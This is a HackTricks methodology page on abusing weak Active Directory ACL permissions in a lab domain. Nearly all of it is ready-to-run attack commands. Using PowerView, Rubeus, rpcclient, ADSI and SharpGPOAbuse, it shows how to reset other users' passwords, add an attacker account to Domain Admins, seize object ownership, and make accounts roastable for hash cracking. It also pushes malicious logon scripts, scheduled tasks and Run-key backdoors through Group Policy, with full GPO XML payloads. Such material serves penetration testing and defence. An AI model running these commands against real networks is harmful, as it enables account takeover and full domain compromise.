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hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

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Abusing Active Directory ACLs/ACEs

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Context

This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.

Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).

An example of ACEs for the "Domain Admins" securable object can be seen here:

Some of the Active Directory object permissions and types that we as attackers are interested in:

  • GenericAll - full rights to the object (add users to a group or reset user's password)
  • GenericWrite - update object's attributes (i.e logon script)
  • WriteOwner - change object owner to attacker controlled user take over the object
  • WriteDACL - modify object's ACEs and give attacker full control right over the object
  • AllExtendedRights - ability to add user to a group or reset password
  • ForceChangePassword - ability to change user's password
  • Self (Self-Membership) - ability to add yourself to a group

In this lab, we are going to explore and try to exploit most of the above ACEs.

It's worth familiarizing yourself with all of the BloodHound edges and as many Active Directory Extended Rights as possible as you never know when you may encounter a less common one during an assessment.

GenericAll on User

Using powerview, let's check if our attacking user spotless has GenericAll rights on the AD object for the user delegate:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

We can see that indeed our user spotless has the GenericAll rights, effectively enabling the attacker to take over the account:

  • Change password: You could just change the password of that user with

    net user <username> <password> /domain

  • Targeted Kerberoasting: You could make the user kerberoastable setting an SPN on the account, kerberoast it and attempt to crack offline:

    # Set SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# Get Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Clean SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

# You can also use the tool https://github.com/ShutdownRepo/targetedKerberoast 
# to get hashes of one or all the users
python3 targetedKerberoast.py -domain.local -u <username> -p password -v

  • Targeted ASREPRoasting: You could make the user ASREPRoastable by disabling preauthentication and then ASREProast it.

    Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

GenericAll on Group

Let's see if Domain admins group has any weak permissions. First of, let's get its distinguishedName:

Get-NetGroup "domain admins" -FullData


 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

We can see that our attacking user spotless has GenericAll rights once again:

Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group:

net group "domain admins" spotless /add /domain

Same could be achieved with Active Directory or PowerSploit module:

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write on Computer/User

{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}

WriteProperty on Group

If our controlled user has WriteProperty right on All objects for Domain Admin group:

We can again add ourselves to the Domain Admins group and escalate privileges:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Self (Self-Membership) on Group

Another privilege that enables the attacker adding themselves to a group:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Self-Membership)

One more privilege that enables the attacker adding themselves to a group:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}


net group "domain admins" spotless /add /domain

ForceChangePassword

If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Doing the same with powerview:

Set-DomainUserPassword -Identity delegate -Verbose

Another method that does not require fiddling with password-secure-string conversion:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...or a one liner if no interactive session is not available:

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

and one last way yo achieve this from linux:

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

More info:

WriteOwner on Group

Note how before the attack the owner of Domain Admins is Domain Admins:

After the ACE enumeration, if we find that a user in our control has WriteOwner rights on ObjectType:All

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

...we can change the Domain Admins object's owner to our user, which in our case is spotless. Note that the SID specified with -Identity is the SID of the Domain Admins group:

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite on User

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script:

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

Below shows the user's delegate logon script field got updated in the AD:

GenericWrite on Group

This allows you to set as members of the group new users (yourself for example):

# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) 
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

If you are the owner of a group, like I'm the owner of a Test AD group:

Which you can of course do through powershell:

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

And you have a WriteDACL on that AD object:

...you can give yourself GenericAll privileges with a sprinkle of ADSI sorcery:

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

Which means you now fully control the AD object:

This effectively means that you can now add new users to the group.

Interesting to note that I could not abuse these privileges by using Active Directory module and Set-Acl / Get-Acl cmdlets:

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

Replication on the domain (DCSync)

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.
Learn more about the DCSync attack here.

GPO Delegation

Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with offense\spotless user:

We can see this by leveraging PowerView like so:

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

The below indicates that the user offense\spotless has WriteProperty, WriteDacl, WriteOwner privileges among a couple of others that are ripe for abuse:

Enumerate GPO Permissions

We know the above ObjectDN from the above screenshot is referring to the New Group Policy Object GPO since the ObjectDN points to CN=Policies and also the CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} which is the same in the GPO settings as highlighted below:

If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Computers with a Given Policy Applied

We can now resolve the computer names the GPO Misconfigured Policy is applied to:

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Policies Applied to a Given Computer

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

OUs with a Given Policy Applied

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

Abuse GPO - New-GPOImmediateTask

One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

The above will add our user spotless to the local administrators group of the compromised box. Note how prior to the code execution the group does not contain user spotless:

GroupPolicy module - Abuse GPO

{% hint style="info" %} You can check to see if the GroupPolicy module is installed with Get-Module -List -Name GroupPolicy | select -expand ExportedCommands. In a pinch, you can install it with Install-WindowsFeature –Name GPMC as a local admin. {% endhint %}

# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

This payload, after the GPO is updated, will need also someone to login inside the computer.

SharpGPOAbuse - Abuse GPO

{% hint style="info" %} It cannot create GPOs, so we must still do that with RSAT or modify one we already have write access to. {% endhint %}

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

Force Policy Update

The previous abusive GPO updates are reloaded roughly each 90 minutes.
if you have access to the computer you can force it with gpupdate /force .

Under the hood

If we observe the Scheduled Tasks of the Misconfigured Policy GPO, we can see our evilTask sitting there:

Below is the XML file that got created by New-GPOImmediateTask that represents our evil scheduled task in the GPO:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.3">
                <RegistrationInfo>
                    <Author>NT AUTHORITY\System</Author>
                    <Description></Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <RunLevel>HighestAvailable</RunLevel>
                        <LogonType>S4U</LogonType>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>false</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <AllowStartOnDemand>false</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>true</Hidden>
                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                    <RestartOnFailure>
                        <Interval>PT15M</Interval>
                        <Count>3</Count>
                    </RestartOnFailure>
                </Settings>
                <Actions Context="Author">
                    <Exec>
                        <Command>cmd</Command>
                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
                    </Exec>
                </Actions>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>

{% endcode %}

Users and Groups

The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user spotless is added to the local administrators group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user spotless:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

{% endcode %}

Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.

References

HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥